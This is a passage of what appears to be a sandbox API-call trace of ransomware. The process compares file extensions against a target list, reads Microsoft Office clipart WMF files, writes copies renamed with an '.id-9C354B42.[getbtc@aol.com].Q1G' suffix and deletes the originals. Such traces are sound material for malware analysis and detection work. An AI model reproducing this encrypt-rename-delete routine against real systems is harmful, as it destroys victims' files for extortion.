[0249.868] lstrlenW (lpString=".pdf") returned 4 [0249.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.868] lstrlenW (lpString=".xls") returned 4 [0249.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.868] lstrlenW (lpString=".xlsx") returned 5 [0249.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.868] lstrlenW (lpString=".ppt") returned 4 [0249.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.868] lstrlenW (lpString=".zip") returned 4 [0249.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.869] lstrlenW (lpString=".rar") returned 4 [0249.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.869] lstrlenW (lpString=".bz2") returned 4 [0249.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.869] lstrlenW (lpString=".7z") returned 3 [0249.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.869] lstrlenW (lpString=".dbf") returned 4 [0249.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.869] lstrlenW (lpString=".1cd") returned 4 [0249.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.869] lstrlenW (lpString=".jpg") returned 4 [0249.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.869] lstrlenW (lpString=".doc") returned 4 [0249.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.869] lstrlenW (lpString=".docx") returned 5 [0249.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.869] lstrlenW (lpString=".pdf") returned 4 [0249.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.869] lstrlenW (lpString=".xls") returned 4 [0249.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.869] lstrlenW (lpString=".xlsx") returned 5 [0249.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.869] lstrlenW (lpString=".ppt") returned 4 [0249.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.869] lstrlenW (lpString=".zip") returned 4 [0249.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.869] lstrlenW (lpString=".rar") returned 4 [0249.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.869] lstrlenW (lpString=".bz2") returned 4 [0249.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.870] lstrlenW (lpString=".7z") returned 3 [0249.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.870] lstrlenW (lpString=".dbf") returned 4 [0249.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.870] lstrlenW (lpString=".1cd") returned 4 [0249.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.870] lstrlenW (lpString=".jpg") returned 4 [0249.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.870] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.870] lstrlenW (lpString="FD00564_.WMF") returned 12 [0249.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.873] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=896) returned 1 [0249.873] CloseHandle (hObject=0x324) returned 1 [0249.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x20 [0249.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.875] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.875] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.876] GetLastError () returned 0x0 [0249.876] ReadFile (in: hFile=0x324, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x380, lpOverlapped=0x0) returned 1 [0249.877] WriteFile (in: hFile=0x360, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x390, lpOverlapped=0x0) returned 1 [0249.878] ReadFile (in: hFile=0x324, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.878] WriteFile (in: hFile=0x360, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.878] SetEndOfFile (hFile=0x360) returned 1 [0249.878] CloseHandle (hObject=0x360) returned 1 [0249.878] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.879] SetEndOfFile (hFile=0x324) returned 1 [0249.880] CloseHandle (hObject=0x324) returned 1 [0249.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0249.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.881] lstrlenW (lpString=".doc") returned 4 [0249.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.881] lstrlenW (lpString=".docx") returned 5 [0249.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.881] lstrlenW (lpString=".pdf") returned 4 [0249.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.881] lstrlenW (lpString=".xls") returned 4 [0249.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.881] lstrlenW (lpString=".xlsx") returned 5 [0249.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.881] lstrlenW (lpString=".ppt") returned 4 [0249.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.882] lstrlenW (lpString=".zip") returned 4 [0249.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.882] lstrlenW (lpString=".rar") returned 4 [0249.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.882] lstrlenW (lpString=".bz2") returned 4 [0249.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.882] lstrlenW (lpString=".7z") returned 3 [0249.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.882] lstrlenW (lpString=".dbf") returned 4 [0249.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.882] lstrlenW (lpString=".1cd") returned 4 [0249.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.882] lstrlenW (lpString=".jpg") returned 4 [0249.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.882] lstrlenW (lpString=".doc") returned 4 [0249.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.882] lstrlenW (lpString=".docx") returned 5 [0249.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.882] lstrlenW (lpString=".pdf") returned 4 [0249.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.882] lstrlenW (lpString=".xls") returned 4 [0249.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.882] lstrlenW (lpString=".xlsx") returned 5 [0249.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.882] lstrlenW (lpString=".ppt") returned 4 [0249.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.882] lstrlenW (lpString=".zip") returned 4 [0249.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.883] lstrlenW (lpString=".rar") returned 4 [0249.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.883] lstrlenW (lpString=".bz2") returned 4 [0249.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.883] lstrlenW (lpString=".7z") returned 3 [0249.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.883] lstrlenW (lpString=".dbf") returned 4 [0249.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.883] lstrlenW (lpString=".1cd") returned 4 [0249.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0249.883] lstrlenW (lpString=".jpg") returned 4 [0249.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.883] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.883] lstrlenW (lpString="FD00775_.WMF") returned 12 [0249.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.884] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=11152) returned 1 [0249.884] CloseHandle (hObject=0x324) returned 1 [0249.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x20 [0249.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.884] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.884] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.885] GetLastError () returned 0x0 [0249.885] ReadFile (in: hFile=0x324, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2b90, lpOverlapped=0x0) returned 1 [0249.887] WriteFile (in: hFile=0x360, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2ba0, lpOverlapped=0x0) returned 1 [0249.888] ReadFile (in: hFile=0x324, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.888] WriteFile (in: hFile=0x360, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.888] SetEndOfFile (hFile=0x360) returned 1 [0249.888] CloseHandle (hObject=0x360) returned 1 [0249.888] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.888] SetEndOfFile (hFile=0x324) returned 1 [0249.890] CloseHandle (hObject=0x324) returned 1 [0249.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0249.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.891] lstrlenW (lpString=".doc") returned 4 [0249.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.891] lstrlenW (lpString=".docx") returned 5 [0249.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.891] lstrlenW (lpString=".pdf") returned 4 [0249.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.891] lstrlenW (lpString=".xls") returned 4 [0249.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.891] lstrlenW (lpString=".xlsx") returned 5 [0249.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.891] lstrlenW (lpString=".ppt") returned 4 [0249.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.891] lstrlenW (lpString=".zip") returned 4 [0249.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.891] lstrlenW (lpString=".rar") returned 4 [0249.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.891] lstrlenW (lpString=".bz2") returned 4 [0249.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.891] lstrlenW (lpString=".7z") returned 3 [0249.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.892] lstrlenW (lpString=".dbf") returned 4 [0249.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.892] lstrlenW (lpString=".1cd") returned 4 [0249.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.892] lstrlenW (lpString=".jpg") returned 4 [0249.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.892] lstrlenW (lpString=".doc") returned 4 [0249.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.892] lstrlenW (lpString=".docx") returned 5 [0249.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.892] lstrlenW (lpString=".pdf") returned 4 [0249.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.892] lstrlenW (lpString=".xls") returned 4 [0249.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.892] lstrlenW (lpString=".xlsx") returned 5 [0249.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.892] lstrlenW (lpString=".ppt") returned 4 [0249.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.892] lstrlenW (lpString=".zip") returned 4 [0249.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.892] lstrlenW (lpString=".rar") returned 4 [0249.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.892] lstrlenW (lpString=".bz2") returned 4 [0249.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.892] lstrlenW (lpString=".7z") returned 3 [0249.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.892] lstrlenW (lpString=".dbf") returned 4 [0249.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.892] lstrlenW (lpString=".1cd") returned 4 [0249.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0249.893] lstrlenW (lpString=".jpg") returned 4 [0249.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.893] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.893] lstrlenW (lpString="FD00779_.WMF") returned 12 [0249.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.987] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=9010) returned 1 [0249.987] CloseHandle (hObject=0x360) returned 1 [0249.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x20 [0249.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.993] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.993] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0249.994] GetLastError () returned 0x0 [0249.994] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2332, lpOverlapped=0x0) returned 1 [0249.995] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2340, lpOverlapped=0x0) returned 1 [0249.996] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.996] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.996] SetEndOfFile (hFile=0x390) returned 1 [0249.996] CloseHandle (hObject=0x390) returned 1 [0249.997] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.997] SetEndOfFile (hFile=0x360) returned 1 [0249.999] CloseHandle (hObject=0x360) returned 1 [0249.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0250.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.000] lstrlenW (lpString=".doc") returned 4 [0250.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.000] lstrlenW (lpString=".docx") returned 5 [0250.000] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.000] lstrlenW (lpString=".pdf") returned 4 [0250.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.000] lstrlenW (lpString=".xls") returned 4 [0250.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.000] lstrlenW (lpString=".xlsx") returned 5 [0250.000] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.000] lstrlenW (lpString=".ppt") returned 4 [0250.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.000] lstrlenW (lpString=".zip") returned 4 [0250.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.000] lstrlenW (lpString=".rar") returned 4 [0250.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.000] lstrlenW 